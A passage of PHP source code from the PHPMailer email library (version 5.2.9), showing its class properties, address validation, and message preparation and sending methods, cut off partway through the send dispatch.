7896 * PHPMailer - PHP email creation and transport class.
7897 * PHP Version 5
7898 * @package PHPMailer
7899 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
7900 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
7901 * @author Jim Jagielski (jimjag) <m>
7902 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
7903 * @author Brent R. Matzelle (original founder)
7904 * @copyright 2012 - 2014 Marcus Bointon
7905 * @copyright 2010 - 2012 Jim Jagielski
7906 * @copyright 2004 - 2009 Andy Prevost
7907 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
7908 * @note This program is distributed in the hope that it will be useful - WITHOUT
7909 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
7910 * FITNESS FOR A PARTICULAR PURPOSE.
7911 */
7912
7913/**
7914 * PHPMailer - PHP email creation and transport class.
7915 * @package PHPMailer
7916 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
7917 * @author Jim Jagielski (jimjag) <>
7918 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
7919 * @author Brent R. Matzelle (original founder)
7920 */
7921class PHPMailer
7922{
7923 /**
7924 * The PHPMailer Version number.
7925 * @type string
7926 */
7927 public $Version = '5.2.9';
7928
7929 /**
7930 * Email priority.
7931 * Options: 1 = High, 3 = Normal, 5 = low.
7932 * @type integer
7933 */
7934 public $Priority = 3;
7935
7936 /**
7937 * The character set of the message.
7938 * @type string
7939 */
7940 public $CharSet = 'iso-8859-1';
7941
7942 /**
7943 * The MIME Content-type of the message.
7944 * @type string
7945 */
7946 public $ContentType = 'text/plain';
7947
7948 /**
7949 * The message encoding.
7950 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
7951 * @type string
7952 */
7953 public $Encoding = '8bit';
7954
7955 /**
7956 * Holds the most recent mailer error message.
7957 * @type string
7958 */
7959 public $ErrorInfo = '';
7960
7961 /**
7962 * The From email address for the message.
7963 * @type string
7964 */
7965 public $From = 'root@localhost';
7966
7967 /**
7968 * The From name of the message.
7969 * @type string
7970 */
7971 public $FromName = 'Root User';
7972
7973 /**
7974 * The Sender email (Return-Path) of the message.
7975 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
7976 * @type string
7977 */
7978 public $Sender = '';
7979
7980 /**
7981 * The Return-Path of the message.
7982 * If empty, it will be set to either From or Sender.
7983 * @type string
7984 * @deprecated Email senders should never set a return-path header;
7985 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
7986 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
7987 */
7988 public $ReturnPath = '';
7989
7990 /**
7991 * The Subject of the message.
7992 * @type string
7993 */
7994 public $Subject = '';
7995
7996 /**
7997 * An HTML or plain text message body.
7998 * If HTML then call isHTML(true).
7999 * @type string
8000 */
8001 public $Body = '';
8002
8003 /**
8004 * The plain-text message body.
8005 * This body can be read by mail clients that do not have HTML email
8006 * capability such as mutt & Eudora.
8007 * Clients that can read HTML will view the normal Body.
8008 * @type string
8009 */
8010 public $AltBody = '';
8011
8012 /**
8013 * An iCal message part body.
8014 * Only supported in simple alt or alt_inline message types
8015 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
8016 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
8017 * @link http://kigkonsult.se/iCalcreator/
8018 * @type string
8019 */
8020 public $Ical = '';
8021
8022 /**
8023 * The complete compiled MIME message body.
8024 * @access protected
8025 * @type string
8026 */
8027 protected $MIMEBody = '';
8028
8029 /**
8030 * The complete compiled MIME message headers.
8031 * @type string
8032 * @access protected
8033 */
8034 protected $MIMEHeader = '';
8035
8036 /**
8037 * Extra headers that createHeader() doesn't fold in.
8038 * @type string
8039 * @access protected
8040 */
8041 protected $mailHeader = '';
8042
8043 /**
8044 * Word-wrap the message body to this number of chars.
8045 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
8046 * @type integer
8047 */
8048 public $WordWrap = 0;
8049
8050 /**
8051 * Which method to use to send mail.
8052 * Options: "mail", "sendmail", or "smtp".
8053 * @type string
8054 */
8055 public $Mailer = 'mail';
8056
8057 /**
8058 * The path to the sendmail program.
8059 * @type string
8060 */
8061 public $Sendmail = '/usr/sbin/sendmail';
8062
8063 /**
8064 * Whether mail() uses a fully sendmail-compatible MTA.
8065 * One which supports sendmail's "-oi -f" options.
8066 * @type boolean
8067 */
8068 public $UseSendmailOptions = true;
8069
8070 /**
8071 * Path to PHPMailer plugins.
8072 * Useful if the SMTP class is not in the PHP include path.
8073 * @type string
8074 * @deprecated Should not be needed now there is an autoloader.
8075 */
8076 public $PluginDir = '';
8077
8078 /**
8079 * The email address that a reading confirmation should be sent to.
8080 * @type string
8081 */
8082 public $ConfirmReadingTo = '';
8083
8084 /**
8085 * The hostname to use in Message-Id and Received headers
8086 * and as default HELO string.
8087 * If empty, the value returned
8088 * by SERVER_NAME is used or 'localhost.localdomain'.
8089 * @type string
8090 */
8091 public $Hostname = '';
8092
8093 /**
8094 * An ID to be used in the Message-Id header.
8095 * If empty, a unique id will be generated.
8096 * @type string
8097 */
8098 public $MessageID = '';
8099
8100 /**
8101 * The message Date to be used in the Date header.
8102 * If empty, the current date will be added.
8103 * @type string
8104 */
8105 public $MessageDate = '';
8106
8107 /**
8108 * SMTP hosts.
8109 * Either a single hostname or multiple semicolon-delimited hostnames.
8110 * You can also specify a different port
8111 * for each host by using this format: [hostname:port]
8112 * (e.g. "smtp1.example.com:25;smtp2.example.com").
8113 * You can also specify encryption type, for example:
8114 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
8115 * Hosts will be tried in order.
8116 * @type string
8117 */
8118 public $Host = 'localhost';
8119
8120 /**
8121 * The default SMTP server port.
8122 * @type integer
8123 * @TODO Why is this needed when the SMTP class takes care of it?
8124 */
8125 public $Port = 25;
8126
8127 /**
8128 * The SMTP HELO of the message.
8129 * Default is $Hostname.
8130 * @type string
8131 * @see PHPMailer::$Hostname
8132 */
8133 public $Helo = '';
8134
8135 /**
8136 * The secure connection prefix.
8137 * Options: "", "ssl" or "tls"
8138 * @type string
8139 */
8140 public $SMTPSecure = '';
8141
8142 /**
8143 * Whether to use SMTP authentication.
8144 * Uses the Username and Password properties.
8145 * @type boolean
8146 * @see PHPMailer::$Username
8147 * @see PHPMailer::$Password
8148 */
8149 public $SMTPAuth = false;
8150
8151 /**
8152 * SMTP username.
8153 * @type string
8154 */
8155 public $Username = '';
8156
8157 /**
8158 * SMTP password.
8159 * @type string
8160 */
8161 public $Password = '';
8162
8163 /**
8164 * SMTP auth type.
8165 * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
8166 * @type string
8167 */
8168 public $AuthType = '';
8169
8170 /**
8171 * SMTP realm.
8172 * Used for NTLM auth
8173 * @type string
8174 */
8175 public $Realm = '';
8176
8177 /**
8178 * SMTP workstation.
8179 * Used for NTLM auth
8180 * @type string
8181 */
8182 public $Workstation = '';
8183
8184 /**
8185 * The SMTP server timeout in seconds.
8186 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
8187 * @type integer
8188 */
8189 public $Timeout = 300;
8190
8191 /**
8192 * SMTP class debug output mode.
8193 * Debug output level.
8194 * Options:
8195 * * `0` No output
8196 * * `1` Commands
8197 * * `2` Data and commands
8198 * * `3` As 2 plus connection status
8199 * * `4` Low-level data output
8200 * @type integer
8201 * @see SMTP::$do_debug
8202 */
8203 public $SMTPDebug = 0;
8204
8205 /**
8206 * How to handle debug output.
8207 * Options:
8208 * * `echo` Output plain-text as-is, appropriate for CLI
8209 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
8210 * * `error_log` Output to error log as configured in php.ini
8211 *
8212 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
8213 * <code>
8214 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
8215 * </code>
8216 * @type string|callable
8217 * @see SMTP::$Debugoutput
8218 */
8219 public $Debugoutput = 'echo';
8220
8221 /**
8222 * Whether to keep SMTP connection open after each message.
8223 * If this is set to true then to close the connection
8224 * requires an explicit call to smtpClose().
8225 * @type boolean
8226 */
8227 public $SMTPKeepAlive = false;
8228
8229 /**
8230 * Whether to split multiple to addresses into multiple messages
8231 * or send them all in one message.
8232 * @type boolean
8233 */
8234 public $SingleTo = false;
8235
8236 /**
8237 * Storage for addresses when SingleTo is enabled.
8238 * @type array
8239 * @TODO This should really not be public
8240 */
8241 public $SingleToArray = array();
8242
8243 /**
8244 * Whether to generate VERP addresses on send.
8245 * Only applicable when sending via SMTP.
8246 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
8247 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
8248 * @type boolean
8249 */
8250 public $do_verp = false;
8251
8252 /**
8253 * Whether to allow sending messages with an empty body.
8254 * @type boolean
8255 */
8256 public $AllowEmpty = false;
8257
8258 /**
8259 * The default line ending.
8260 * @note The default remains "\n". We force CRLF where we know
8261 * it must be used via self::CRLF.
8262 * @type string
8263 */
8264 public $LE = "\n";
8265
8266 /**
8267 * DKIM selector.
8268 * @type string
8269 */
8270 public $DKIM_selector = '';
8271
8272 /**
8273 * DKIM Identity.
8274 * Usually the email address used as the source of the email
8275 * @type string
8276 */
8277 public $DKIM_identity = '';
8278
8279 /**
8280 * DKIM passphrase.
8281 * Used if your key is encrypted.
8282 * @type string
8283 */
8284 public $DKIM_passphrase = '';
8285
8286 /**
8287 * DKIM signing domain name.
8288 * @example 'example.com'
8289 * @type string
8290 */
8291 public $DKIM_domain = '';
8292
8293 /**
8294 * DKIM private key file path.
8295 * @type string
8296 */
8297 public $DKIM_private = '';
8298
8299 /**
8300 * Callback Action function name.
8301 *
8302 * The function that handles the result of the send email action.
8303 * It is called out by send() for each email sent.
8304 *
8305 * Value can be any php callable: http://www.php.net/is_callable
8306 *
8307 * Parameters:
8308 * boolean $result result of the send action
8309 * string $to email address of the recipient
8310 * string $cc cc email addresses
8311 * string $bcc bcc email addresses
8312 * string $subject the subject
8313 * string $body the email body
8314 * string $from email address of sender
8315 * @type string
8316 */
8317 public $action_function = '';
8318
8319 /**
8320 * What to use in the X-Mailer header.
8321 * Options: null for default, whitespace for none, or a string to use
8322 * @type string
8323 */
8324 public $XMailer = '';
8325
8326 /**
8327 * An instance of the SMTP sender class.
8328 * @type SMTP
8329 * @access protected
8330 */
8331 protected $smtp = null;
8332
8333 /**
8334 * The array of 'to' addresses.
8335 * @type array
8336 * @access protected
8337 */
8338 protected $to = array();
8339
8340 /**
8341 * The array of 'cc' addresses.
8342 * @type array
8343 * @access protected
8344 */
8345 protected $cc = array();
8346
8347 /**
8348 * The array of 'bcc' addresses.
8349 * @type array
8350 * @access protected
8351 */
8352 protected $bcc = array();
8353
8354 /**
8355 * The array of reply-to names and addresses.
8356 * @type array
8357 * @access protected
8358 */
8359 protected $ReplyTo = array();
8360
8361 /**
8362 * An array of all kinds of addresses.
8363 * Includes all of $to, $cc, $bcc, $replyto
8364 * @type array
8365 * @access protected
8366 */
8367 protected $all_recipients = array();
8368
8369 /**
8370 * The array of attachments.
8371 * @type array
8372 * @access protected
8373 */
8374 protected $attachment = array();
8375
8376 /**
8377 * The array of custom headers.
8378 * @type array
8379 * @access protected
8380 */
8381 protected $CustomHeader = array();
8382
8383 /**
8384 * The most recent Message-ID (including angular brackets).
8385 * @type string
8386 * @access protected
8387 */
8388 protected $lastMessageID = '';
8389
8390 /**
8391 * The message's MIME type.
8392 * @type string
8393 * @access protected
8394 */
8395 protected $message_type = '';
8396
8397 /**
8398 * The array of MIME boundary strings.
8399 * @type array
8400 * @access protected
8401 */
8402 protected $boundary = array();
8403
8404 /**
8405 * The array of available languages.
8406 * @type array
8407 * @access protected
8408 */
8409 protected $language = array();
8410
8411 /**
8412 * The number of errors encountered.
8413 * @type integer
8414 * @access protected
8415 */
8416 protected $error_count = 0;
8417
8418 /**
8419 * The S/MIME certificate file path.
8420 * @type string
8421 * @access protected
8422 */
8423 protected $sign_cert_file = '';
8424
8425 /**
8426 * The S/MIME key file path.
8427 * @type string
8428 * @access protected
8429 */
8430 protected $sign_key_file = '';
8431
8432 /**
8433 * The S/MIME password for the key.
8434 * Used only if the key is encrypted.
8435 * @type string
8436 * @access protected
8437 */
8438 protected $sign_key_pass = '';
8439
8440 /**
8441 * Whether to throw exceptions for errors.
8442 * @type boolean
8443 * @access protected
8444 */
8445 protected $exceptions = false;
8446
8447 /**
8448 * Error severity: message only, continue processing.
8449 */
8450 const STOP_MESSAGE = 0;
8451
8452 /**
8453 * Error severity: message, likely ok to continue processing.
8454 */
8455 const STOP_CONTINUE = 1;
8456
8457 /**
8458 * Error severity: message, plus full stop, critical error reached.
8459 */
8460 const STOP_CRITICAL = 2;
8461
8462 /**
8463 * SMTP RFC standard line ending.
8464 */
8465 const CRLF = "\r\n";
8466
8467 /**
8468 * Constructor.
8469 * @param boolean $exceptions Should we throw external exceptions?
8470 */
8471 public function __construct($exceptions = false)
8472 {
8473 $this->exceptions = (boolean)$exceptions;
8474 }
8475
8476 /**
8477 * Destructor.
8478 */
8479 public function __destruct()
8480 {
8481 if ($this->Mailer == 'smtp') { //close any open SMTP connection nicely
8482 $this->smtpClose();
8483 }
8484 }
8485
8486 /**
8487 * Call mail() in a safe_mode-aware fashion.
8488 * Also, unless sendmail_path points to sendmail (or something that
8489 * claims to be sendmail), don't pass params (not a perfect fix,
8490 * but it will do)
8491 * @param string $to To
8492 * @param string $subject Subject
8493 * @param string $body Message Body
8494 * @param string $header Additional Header(s)
8495 * @param string $params Params
8496 * @access private
8497 * @return boolean
8498 */
8499 private function mailPassthru($to, $subject, $body, $header, $params)
8500 {
8501 //Check overloading of mail function to avoid double-encoding
8502 if (ini_get('mbstring.func_overload') & 1) {
8503 $subject = $this->secureHeader($subject);
8504 } else {
8505 $subject = $this->encodeHeader($this->secureHeader($subject));
8506 }
8507 if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
8508 $result = @mail($to, $subject, $body, $header);
8509 } else {
8510 $result = @mail($to, $subject, $body, $header, $params);
8511 }
8512 return $result;
8513 }
8514
8515 /**
8516 * Output debugging info via user-defined method.
8517 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
8518 * @see PHPMailer::$Debugoutput
8519 * @see PHPMailer::$SMTPDebug
8520 * @param string $str
8521 */
8522 protected function edebug($str)
8523 {
8524 if ($this->SMTPDebug <= 0) {
8525 return;
8526 }
8527 //Avoid clash with built-in function names
8528 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
8529 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
8530 return;
8531 }
8532 switch ($this->Debugoutput) {
8533 case 'error_log':
8534 //Don't output, just log
8535 error_log($str);
8536 break;
8537 case 'html':
8538 //Cleans up output a bit for a better looking, HTML-safe output
8539 echo htmlentities(
8540 preg_replace('/[\r\n]+/', '', $str),
8541 ENT_QUOTES,
8542 'UTF-8'
8543 )
8544 . "<br>\n";
8545 break;
8546 case 'echo':
8547 default:
8548 //Normalize line breaks
8549 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
8550 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
8551 "\n",
8552 "\n \t ",
8553 trim($str)
8554 ) . "\n";
8555 }
8556 }
8557
8558 /**
8559 * Sets message type to HTML or plain.
8560 * @param boolean $isHtml True for HTML mode.
8561 * @return void
8562 */
8563 public function isHTML($isHtml = true)
8564 {
8565 if ($isHtml) {
8566 $this->ContentType = 'text/html';
8567 } else {
8568 $this->ContentType = 'text/plain';
8569 }
8570 }
8571
8572 /**
8573 * Send messages using SMTP.
8574 * @return void
8575 */
8576 public function isSMTP()
8577 {
8578 $this->Mailer = 'smtp';
8579 }
8580
8581 /**
8582 * Send messages using PHP's mail() function.
8583 * @return void
8584 */
8585 public function isMail()
8586 {
8587 $this->Mailer = 'mail';
8588 }
8589
8590 /**
8591 * Send messages using $Sendmail.
8592 * @return void
8593 */
8594 public function isSendmail()
8595 {
8596 $ini_sendmail_path = ini_get('sendmail_path');
8597
8598 if (!stristr($ini_sendmail_path, 'sendmail')) {
8599 $this->Sendmail = '/usr/sbin/sendmail';
8600 } else {
8601 $this->Sendmail = $ini_sendmail_path;
8602 }
8603 $this->Mailer = 'sendmail';
8604 }
8605
8606 /**
8607 * Send messages using qmail.
8608 * @return void
8609 */
8610 public function isQmail()
8611 {
8612 $ini_sendmail_path = ini_get('sendmail_path');
8613
8614 if (!stristr($ini_sendmail_path, 'qmail')) {
8615 $this->Sendmail = '/var/qmail/bin/qmail-inject';
8616 } else {
8617 $this->Sendmail = $ini_sendmail_path;
8618 }
8619 $this->Mailer = 'qmail';
8620 }
8621
8622 /**
8623 * Add a "To" address.
8624 * @param string $address
8625 * @param string $name
8626 * @return boolean true on success, false if address already used
8627 */
8628 public function addAddress($address, $name = '')
8629 {
8630 return $this->addAnAddress('to', $address, $name);
8631 }
8632
8633 /**
8634 * Add a "CC" address.
8635 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8636 * @param string $address
8637 * @param string $name
8638 * @return boolean true on success, false if address already used
8639 */
8640 public function addCC($address, $name = '')
8641 {
8642 return $this->addAnAddress('cc', $address, $name);
8643 }
8644
8645 /**
8646 * Add a "BCC" address.
8647 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8648 * @param string $address
8649 * @param string $name
8650 * @return boolean true on success, false if address already used
8651 */
8652 public function addBCC($address, $name = '')
8653 {
8654 return $this->addAnAddress('bcc', $address, $name);
8655 }
8656
8657 /**
8658 * Add a "Reply-to" address.
8659 * @param string $address
8660 * @param string $name
8661 * @return boolean
8662 */
8663 public function addReplyTo($address, $name = '')
8664 {
8665 return $this->addAnAddress('Reply-To', $address, $name);
8666 }
8667
8668 /**
8669 * Add an address to one of the recipient arrays.
8670 * Addresses that have been added already return false, but do not throw exceptions
8671 * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
8672 * @param string $address The email address to send to
8673 * @param string $name
8674 * @throws phpmailerException
8675 * @return boolean true on success, false if address already used or invalid in some way
8676 * @access protected
8677 */
8678 protected function addAnAddress($kind, $address, $name = '')
8679 {
8680 if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
8681 $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
8682 $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
8683 if ($this->exceptions) {
8684 throw new phpmailerException('Invalid recipient array: ' . $kind);
8685 }
8686 return false;
8687 }
8688 $address = trim($address);
8689 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8690 if (!$this->validateAddress($address)) {
8691 $this->setError($this->lang('invalid_address') . ': ' . $address);
8692 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8693 if ($this->exceptions) {
8694 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8695 }
8696 return false;
8697 }
8698 if ($kind != 'Reply-To') {
8699 if (!isset($this->all_recipients[strtolower($address)])) {
8700 array_push($this->$kind, array($address, $name));
8701 $this->all_recipients[strtolower($address)] = true;
8702 return true;
8703 }
8704 } else {
8705 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
8706 $this->ReplyTo[strtolower($address)] = array($address, $name);
8707 return true;
8708 }
8709 }
8710 return false;
8711 }
8712
8713 /**
8714 * Set the From and FromName properties.
8715 * @param string $address
8716 * @param string $name
8717 * @param boolean $auto Whether to also set the Sender address, defaults to true
8718 * @throws phpmailerException
8719 * @return boolean
8720 */
8721 public function setFrom($address, $name = '', $auto = true)
8722 {
8723 $address = trim($address);
8724 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8725 if (!$this->validateAddress($address)) {
8726 $this->setError($this->lang('invalid_address') . ': ' . $address);
8727 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8728 if ($this->exceptions) {
8729 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8730 }
8731 return false;
8732 }
8733 $this->From = $address;
8734 $this->FromName = $name;
8735 if ($auto) {
8736 if (empty($this->Sender)) {
8737 $this->Sender = $address;
8738 }
8739 }
8740 return true;
8741 }
8742
8743 /**
8744 * Return the Message-ID header of the last email.
8745 * Technically this is the value from the last time the headers were created,
8746 * but it's also the message ID of the last sent message except in
8747 * pathological cases.
8748 * @return string
8749 */
8750 public function getLastMessageID()
8751 {
8752 return $this->lastMessageID;
8753 }
8754
8755 /**
8756 * Check that a string looks like an email address.
8757 * @param string $address The email address to check
8758 * @param string $patternselect A selector for the validation pattern to use :
8759 * * `auto` Pick strictest one automatically;
8760 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
8761 * * `pcre` Use old PCRE implementation;
8762 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
8763 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
8764 * * `noregex` Don't use a regex: super fast, really dumb.
8765 * @return boolean
8766 * @static
8767 * @access public
8768 */
8769 public static function validateAddress($address, $patternselect = 'auto')
8770 {
8771 if (!$patternselect or $patternselect == 'auto') {
8772 //Check this constant first so it works when extension_loaded() is disabled by safe mode
8773 //Constant was added in PHP 5.2.4
8774 if (defined('PCRE_VERSION')) {
8775 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
8776 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
8777 $patternselect = 'pcre8';
8778 } else {
8779 $patternselect = 'pcre';
8780 }
8781 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
8782 //Fall back to older PCRE
8783 $patternselect = 'pcre';
8784 } else {
8785 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
8786 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
8787 $patternselect = 'php';
8788 } else {
8789 $patternselect = 'noregex';
8790 }
8791 }
8792 }
8793 switch ($patternselect) {
8794 case 'pcre8':
8795 /**
8796 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
8797 * @link http://squiloople.com/2009/12/20/email-address-validation/
8798 * @copyright 2009-2010 Michael Rushton
8799 * Feel free to use and redistribute this code. But please keep this copyright notice.
8800 */
8801 return (boolean)preg_match(
8802 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
8803 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
8804 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
8805 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
8806 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
8807 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
8808 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
8809 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8810 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
8811 $address
8812 );
8813 case 'pcre':
8814 //An older regex that doesn't need a recent PCRE
8815 return (boolean)preg_match(
8816 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
8817 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
8818 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
8819 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
8820 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
8821 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
8822 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
8823 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
8824 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8825 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
8826 $address
8827 );
8828 case 'html5':
8829 /**
8830 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
8831 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
8832 */
8833 return (boolean)preg_match(
8834 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
8835 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
8836 $address
8837 );
8838 case 'noregex':
8839 //No PCRE! Do something _very_ approximate!
8840 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
8841 return (strlen($address) >= 3
8842 and strpos($address, '@') >= 1
8843 and strpos($address, '@') != strlen($address) - 1);
8844 case 'php':
8845 default:
8846 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
8847 }
8848 }
8849
8850 /**
8851 * Create a message and send it.
8852 * Uses the sending method specified by $Mailer.
8853 * @throws phpmailerException
8854 * @return boolean false on error - See the ErrorInfo property for details of the error.
8855 */
8856 public function send()
8857 {
8858 try {
8859 if (!$this->preSend()) {
8860 return false;
8861 }
8862 return $this->postSend();
8863 } catch (phpmailerException $exc) {
8864 $this->mailHeader = '';
8865 $this->setError($exc->getMessage());
8866 if ($this->exceptions) {
8867 throw $exc;
8868 }
8869 return false;
8870 }
8871 }
8872
8873 /**
8874 * Prepare a message for sending.
8875 * @throws phpmailerException
8876 * @return boolean
8877 */
8878 public function preSend()
8879 {
8880 try {
8881 $this->mailHeader = '';
8882 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
8883 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
8884 }
8885
8886 // Set whether the message is multipart/alternative
8887 if (!empty($this->AltBody)) {
8888 $this->ContentType = 'multipart/alternative';
8889 }
8890
8891 $this->error_count = 0; // reset errors
8892 $this->setMessageType();
8893 // Refuse to send an empty message unless we are specifically allowing it
8894 if (!$this->AllowEmpty and empty($this->Body)) {
8895 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
8896 }
8897
8898 $this->MIMEHeader = $this->createHeader();
8899 $this->MIMEBody = $this->createBody();
8900
8901 // To capture the complete message when using mail(), create
8902 // an extra header list which createHeader() doesn't fold in
8903 if ($this->Mailer == 'mail') {
8904 if (count($this->to) > 0) {
8905 $this->mailHeader .= $this->addrAppend('To', $this->to);
8906 } else {
8907 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
8908 }
8909 $this->mailHeader .= $this->headerLine(
8910 'Subject',
8911 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
8912 );
8913 }
8914
8915 // Sign with DKIM if enabled
8916 if (!empty($this->DKIM_domain)
8917 && !empty($this->DKIM_private)
8918 && !empty($this->DKIM_selector)
8919 && file_exists($this->DKIM_private)) {
8920 $header_dkim = $this->DKIM_Add(
8921 $this->MIMEHeader . $this->mailHeader,
8922 $this->encodeHeader($this->secureHeader($this->Subject)),
8923 $this->MIMEBody
8924 );
8925 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
8926 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
8927 }
8928 return true;
8929
8930 } catch (phpmailerException $exc) {
8931 $this->setError($exc->getMessage());
8932 if ($this->exceptions) {
8933 throw $exc;
8934 }
8935 return false;
8936 }
8937 }
8938
8939 /**
8940 * Actually send a message.
8941 * Send the email via the selected mechanism
8942 * @throws phpmailerException
8943 * @return boolean
8944 */
8945 public function postSend()
8946 {
8947 try {
8948 // Choose the mailer and send through it
8949 switch ($this->Mailer) {
8950 case 'sendmail':
8951 case 'qmail':
8952 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
8953 case 'smtp':
8954 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
8955 case 'mail':
8956 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
8957 default:
8958 $sendMethod = $this->Mailer.'Send';
